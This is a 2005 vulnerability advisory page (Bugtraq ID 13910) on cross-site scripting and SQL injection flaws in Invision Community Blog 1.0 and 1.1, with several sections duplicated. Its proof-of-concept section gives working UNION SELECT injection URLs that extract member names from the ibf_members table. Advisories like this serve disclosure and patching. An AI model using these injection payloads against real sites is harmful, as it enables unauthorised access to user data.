Invision Community Blog Multiple Input Validation Vulnerabilities
BID:13910
Info
Invision Community Blog Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 13910 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 09 2005 12:00AM |
| Updated: | Jun 09 2005 12:00AM |
| Credit: | Discovery is credited to James Bercegay of the GulfTech Security Research Team. |
| Vulnerable: |
Invision Power Services Invision Community Blog 1.1 Invision Power Services Invision Community Blog 1.0 |
| Not Vulnerable: |
Invision Power Services Invision Community Blog 1.1.2 Final |
Discussion
Invision Community Blog Multiple Input Validation Vulnerabilities
Multiple input validation vulnerabilities reportedly affect Invision Community Blog. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
The first issue is a cross-site scripting issue and the second set of issues are SQL injection issues.
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
Multiple input validation vulnerabilities reportedly affect Invision Community Blog. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.
The first issue is a cross-site scripting issue and the second set of issues are SQL injection issues.
An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks.
Exploit / POC
Invision Community Blog Multiple Input Validation Vulnerabilities
No exploit is required to leverage these issues. The following proof of concepts have been provided:
SQL Injection
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=replyentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editcomment&eid=1&cid=-99%20UNION%20SELECT%201,0,0,0,0,0,0,0,0,0,0,0,0,name%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=aboutme&mid=2'
No exploit is required to leverage these issues. The following proof of concepts have been provided:
SQL Injection
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=replyentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editcomment&eid=1&cid=-99%20UNION%20SELECT%201,0,0,0,0,0,0,0,0,0,0,0,0,name%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=aboutme&mid=2'
Solution / Fix
Invision Community Blog Multiple Input Validation Vulnerabilities
Solution:
The vendor has released Invision Community Blog version 1.1.2 Final to address this issue. Please contact the vendor for more information.
Solution:
The vendor has released Invision Community Blog version 1.1.2 Final to address this issue. Please contact the vendor for more information.
References
Invision Community Blog Multiple Input Validation Vulnerabilities
References:
References:
- Invision Community Blog Product Page (Invision Power Services)
- Invision Community Blog Vulnerabilities (GulfTech Security Research